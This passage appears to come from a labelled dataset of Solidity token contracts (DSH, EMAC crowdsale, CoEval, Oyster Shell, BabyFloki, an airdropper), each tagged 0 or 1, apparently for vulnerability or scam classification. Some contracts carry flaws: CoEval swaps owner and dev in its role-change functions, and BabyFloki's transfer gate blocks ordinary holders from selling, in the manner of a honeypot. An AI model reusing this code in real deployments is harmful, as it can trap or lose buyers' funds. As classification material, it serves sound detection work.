mapping(address => mapping(address => uint)) allowed;
function DSH(uint _initialSupply, uint annualRate, string _name, string _symbol, uint8 _decimals) {
initialSupply = _initialSupply;
initializedTime = (block.timestamp / 3600) * 3600;
hourRate = annualRate / (365 * 24);
require(hourRate <= 223872113856833);
balances[msg.sender] = UserBalance({
latestBalance: _initialSupply,
lastCalculated: (block.timestamp / 3600) * 3600
});
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function getInterest(uint value, uint lastCalculated) public view returns (uint) {
if(value == 0) {
return 0;
}
uint exp = (block.timestamp - lastCalculated) / 3600;
uint x = 1000000000000000000;
uint base = 1000000000000000000 + hourRate;
while(exp != 0) {
if(exp & 1 != 0){
x = (x * base) / 1000000000000000000;
}
exp = exp / 2;
base = (base * base) / 1000000000000000000;
}
return value.mul(x - 1000000000000000000) / 1000000000000000000;
}
function totalSupply() public view returns (uint) {
return initialSupply.add(getInterest(initialSupply, initializedTime));
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner].latestBalance.add(getInterest(balances[_owner].latestBalance, balances[_owner].lastCalculated));
}
function incBalance(address _owner, uint amount) private {
balances[_owner] = UserBalance({
latestBalance: balanceOf(_owner).add(amount),
lastCalculated: (block.timestamp / 3600) * 3600
});
}
function decBalance(address _owner, uint amount) private {
uint priorBalance = balanceOf(_owner);
require(priorBalance >= amount);
balances[_owner] = UserBalance({
latestBalance: priorBalance.sub(amount),
lastCalculated: (block.timestamp / 3600) * 3600
});
}
function transfer(address _to, uint _value) public returns (bool) {
require(_to != address(0));
decBalance(msg.sender, _value);
incBalance(_to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
decBalance(_from, _value);
incBalance(_to, _value);
if(allowed[_from][msg.sender] < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
} | 0 | 854 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract EMACToken is CappedToken, BurnableToken {
string public constant name = "eMarketChain";
string public constant symbol = "EMAC";
uint8 public constant decimals = 18;
function EMACToken(uint256 _cap) CappedToken(_cap) public {
}
function burn(uint256 _value) public {
super.burn(_value);
}
}
contract EMACCrowdsale is Ownable {
using SafeMath for uint256;
EMACToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
address public teamWallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public constant INIT_TOKENS = 454 * (10 ** 6) * (10 ** 18);
uint256 public TEAM_TOKENS = INIT_TOKENS.mul(20).div(100);
uint256 public constant HARD_CAP = 32000 * (10**18);
uint256 public constant PRE_SALE_CAP = 18000 * (10**18);
uint256 public constant PRE_SALE_BONUS_PERCENTAGE = 120;
uint256 public constant MAIN_SALE_BONUS_PERCENTAGE_PHASE1 = 115;
uint256 public constant MAIN_SALE_BONUS_PERCENTAGE_PHASE2 = 110;
uint256 public constant MAIN_SALE_BONUS_PERCENTAGE_PHASE3 = 105;
uint256 public constant MAIN_SALE_BONUS_PERCENTAGE_PHASE4 = 100;
event EMACTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function EMACCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _teamWallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_teamWallet != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = new EMACToken(INIT_TOKENS);
teamWallet = _teamWallet;
token.mint(_teamWallet, TEAM_TOKENS);
depositTokens();
}
function depositTokens() public payable {
EMACTokenPurchase(msg.sender, teamWallet, msg.value, TEAM_TOKENS);
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
EMACTokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function finalize() onlyOwner public {
require(hasEnded());
uint256 unsoldTokens = INIT_TOKENS - token.totalSupply();
require(unsoldTokens > 0);
token.burn(unsoldTokens);
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
uint256 tokenExchangeRate = MAIN_SALE_BONUS_PERCENTAGE_PHASE4;
uint256 convertToWei = (10**18);
if (now <= (startTime + 14 days) && weiRaised <= PRE_SALE_CAP) {
tokenExchangeRate = PRE_SALE_BONUS_PERCENTAGE;
}
else if (now <= endTime && weiRaised <= HARD_CAP) {
if (weiRaised < 10000 * convertToWei) {
tokenExchangeRate = MAIN_SALE_BONUS_PERCENTAGE_PHASE1;
}
else if (weiRaised >= 10000 * convertToWei && weiRaised < 20000 * convertToWei) {
tokenExchangeRate = MAIN_SALE_BONUS_PERCENTAGE_PHASE2;
}
else if (weiRaised >= 20000 * convertToWei && weiRaised < 30000 * convertToWei) {
tokenExchangeRate = MAIN_SALE_BONUS_PERCENTAGE_PHASE3;
}
}
uint256 bonusRate = rate.mul(tokenExchangeRate);
return weiAmount.mul(bonusRate).div(100);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool notReachedHardCap = weiRaised <= HARD_CAP;
return withinPeriod && nonZeroPurchase && notReachedHardCap;
}
} | 1 | 4,097 |
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract COE {
string public name = "CoEval";
uint8 public decimals = 18;
string public symbol = "COE";
address public _owner;
address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
address public _devFeesAddr;
uint256 public _tokePerEth = 177000000000000000;
bool public _coldStorage = true;
bool public _receiveEth = true;
bool _feesEnabled = false;
bool _payFees = false;
uint256 _fees;
uint256 _lifeVal = 0;
uint256 _feeLimit = 0;
uint256 _devFees = 0;
uint256 public _totalSupply = 100000 * 1 ether;
uint256 public _circulatingSupply = 0;
uint256 public _frozenTokens = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Exchanged(address indexed _from, address indexed _to, uint _value);
mapping (address => uint256) public balances;
mapping (address => bool) public exchangePartners;
mapping (address => uint256) public exchangeRates;
function COE() {
_owner = msg.sender;
preMine();
}
function preMine() internal {
balances[_owner] = 32664750000000000000000;
Transfer(this, _owner, 32664750000000000000000);
_totalSupply = sub(_totalSupply, 32664750000000000000000);
_circulatingSupply = add(_circulatingSupply, 32664750000000000000000);
}
function transfer(address _to, uint _value, bytes _data) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function transfer(address _to, uint _value) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function exchange(address _partner, uint _amount) internal {
require(exchangePartners[_partner]);
require(requestTokensFromOtherContract(_partner, this, msg.sender, _amount));
if(_coldStorage) {
_frozenTokens = add(_frozenTokens, _amount);
}
else {
_totalSupply = add(_totalSupply, _amount);
}
balances[msg.sender] = sub(balanceOf(msg.sender), _amount);
_circulatingSupply = sub(_circulatingSupply, _amount);
Exchanged(msg.sender, _partner, _amount);
Transfer(msg.sender, this, _amount);
}
function () payable public {
require((msg.value > 0) && (_receiveEth));
uint256 _tokens = mul(div(msg.value, 1 ether),_tokePerEth);
require(_totalSupply >= _tokens);
_totalSupply = sub(_totalSupply, _tokens);
balances[msg.sender] = add(balances[msg.sender], _tokens);
_circulatingSupply = add(_circulatingSupply, _tokens);
Transfer(this, msg.sender, _tokens);
_lifeVal = add(_lifeVal, msg.value);
if(_feesEnabled) {
if(!_payFees) {
if(_lifeVal >= _feeLimit) _payFees = true;
}
if(_payFees) {
_devFees = add(_devFees, ((msg.value * _fees) / 10000));
}
}
}
function requestTokensFromOtherContract(address _targetContract, address _sourceContract, address _recipient, uint256 _value) internal returns (bool){
Partner p = Partner(_targetContract);
p.exchangeTokensFromOtherContract(_sourceContract, _recipient, _value);
return true;
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens) {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_RequestedTokens, exchangeRates[_source]);
require(_exchanged <= _totalSupply);
balances[_recipient] = add(balances[_recipient],_exchanged);
_totalSupply = sub(_totalSupply, _exchanged);
_circulatingSupply = add(_circulatingSupply, _exchanged);
Exchanged(_source, _recipient, _exchanged);
Transfer(this, _recipient, _exchanged);
}
function changePayRate(uint256 _newRate) public {
require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
uint256 valueAsEth = mul(_value,1 ether);
if(_feesEnabled) {
if(_payFees) _devFeesAddr.transfer(_devFees);
_devFees = 0;
}
require(valueAsEth <= this.balance);
_receiver.transfer(valueAsEth);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _owner);
_dev = _receiver;
}
function changeDev(address _receiver) public {
require(msg.sender == _dev);
_owner = _receiver;
}
function changeDevFeesAddr(address _receiver) public {
require(msg.sender == _dev);
_devFeesAddr = _receiver;
}
function toggleReceiveEth() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_receiveEth) {
_receiveEth = true;
}
else {
_receiveEth = false;
}
}
function toggleFreezeTokensFlag() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_coldStorage) {
_coldStorage = true;
}
else {
_coldStorage = false;
}
}
function defrostFrozenTokens() public {
require((msg.sender == _dev) || (msg.sender == _owner));
_totalSupply = add(_totalSupply, _frozenTokens);
_frozenTokens = 0;
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require((msg.sender == _dev) || (msg.sender == _owner));
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
}
function addExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = true;
}
function removeExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = false;
}
function canExchange(address _targetContract) public constant returns (bool) {
return exchangePartners[_targetContract];
}
function contractExchangeRate(address _exchangingContract) public constant returns (uint256) {
return exchangeRates[_exchangingContract];
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
function getLifeVal() public constant returns (uint256) {
require((msg.sender == _owner) || (msg.sender == _dev));
return _lifeVal;
}
function getCirculatingSupply() public constant returns (uint256) {
return _circulatingSupply;
}
function payFeesToggle() {
require((msg.sender == _dev) || (msg.sender == _owner));
if(_payFees) {
_payFees = false;
}
else {
_payFees = true;
}
}
function updateFeeAmount(uint _newFee) public {
require((msg.sender == _dev) || (msg.sender == _owner));
require((_newFee >= 0) && (_newFee <= 100));
_fees = _newFee * 100;
}
function withdrawDevFees() public {
require(_payFees);
_devFeesAddr.transfer(_devFees);
_devFees = 0;
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
} | 1 | 2,160 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterShell {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public lockedSupply;
address public director;
bool public directorLock;
uint256 public feeAmount;
uint256 public retentionMin;
uint256 public retentionMax;
uint256 public lockMin;
uint256 public lockMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public locked;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event Lock(address indexed _target, uint256 _value, uint256 _release);
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function OysterShell() public {
director = msg.sender;
name = "Oyster Shell";
symbol = "SHL";
decimals = 18;
directorLock = false;
totalSupply = 98592692 * 10 ** uint256(decimals);
lockedSupply = 0;
balances[director] = totalSupply;
feeAmount = 1 * 10 ** uint256(decimals);
retentionMin = 20 * 10 ** uint256(decimals);
retentionMax = 200 * 10 ** uint256(decimals);
lockMin = 10;
lockMax = 360;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function lockTime(address _owner) public constant returns (uint256 lockedValue) {
return locked[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
require(msg.value == 10 ether);
directorLock = true;
}
function amendFee(uint256 feeAmountSet) public onlyDirector returns (bool success) {
feeAmount = feeAmountSet;
return true;
}
function amendRetention(uint256 retentionMinSet, uint256 retentionMaxSet) public onlyDirector returns (bool success) {
retentionMin = retentionMinSet;
retentionMax = retentionMaxSet;
return true;
}
function amendLock(uint256 lockMinSet, uint256 lockMaxSet) public onlyDirector returns (bool success) {
lockMin = lockMinSet;
lockMax = lockMaxSet;
return true;
}
function lock(uint256 _duration) public returns (bool success) {
require(locked[msg.sender] == 0);
require(balances[msg.sender] >= retentionMin);
require(balances[msg.sender] <= retentionMax);
require(_duration >= lockMin);
require(_duration <= lockMax);
locked[msg.sender] = block.timestamp + _duration;
lockedSupply += balances[msg.sender];
Lock(msg.sender, balances[msg.sender], locked[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
require(locked[msg.sender] <= block.timestamp && locked[msg.sender] != 0);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(balances[msg.sender] >= retentionMin);
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
uint256 payAmount = balances[msg.sender] - feeAmount;
lockedSupply -= balances[msg.sender];
balances[msg.sender] = 0;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
require(false);
}
function _transfer(address _from, address _to, uint _value) internal {
require(locked[_from] == 0);
if (locked[_to] > 0) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(locked[msg.sender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(locked[msg.sender] == 0);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(locked[_from] == 0);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 0 | 698 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract PixieTokenAirdropper is Ownable, HasNoEther {
ERC20Basic public token;
event AirDroppedTokens(uint256 addressCount);
event AirDrop(address indexed receiver, uint256 total);
constructor(address _token) public payable {
require(_token != address(0), "Must be a non-zero address");
token = ERC20Basic(_token);
}
function transfer(address[] _address, uint256[] _values) onlyOwner public {
require(_address.length == _values.length, "Address array and values array must be same length");
for (uint i = 0; i < _address.length; i += 1) {
_transfer(_address[i], _values[i]);
}
emit AirDroppedTokens(_address.length);
}
function transferSingle(address _address, uint256 _value) onlyOwner public {
_transfer(_address, _value);
emit AirDroppedTokens(1);
}
function _transfer(address _address, uint256 _value) internal {
require(_address != address(0), "Address invalid");
require(_value > 0, "Value invalid");
token.transfer(_address, _value);
emit AirDrop(_address, _value);
}
function remainingBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function ownerRecoverTokens(address _beneficiary) external onlyOwner {
require(_beneficiary != address(0));
require(_beneficiary != address(token));
uint256 _tokensRemaining = token.balanceOf(address(this));
if (_tokensRemaining > 0) {
token.transfer(_beneficiary, _tokensRemaining);
}
}
} | 1 | 4,353 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyFloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
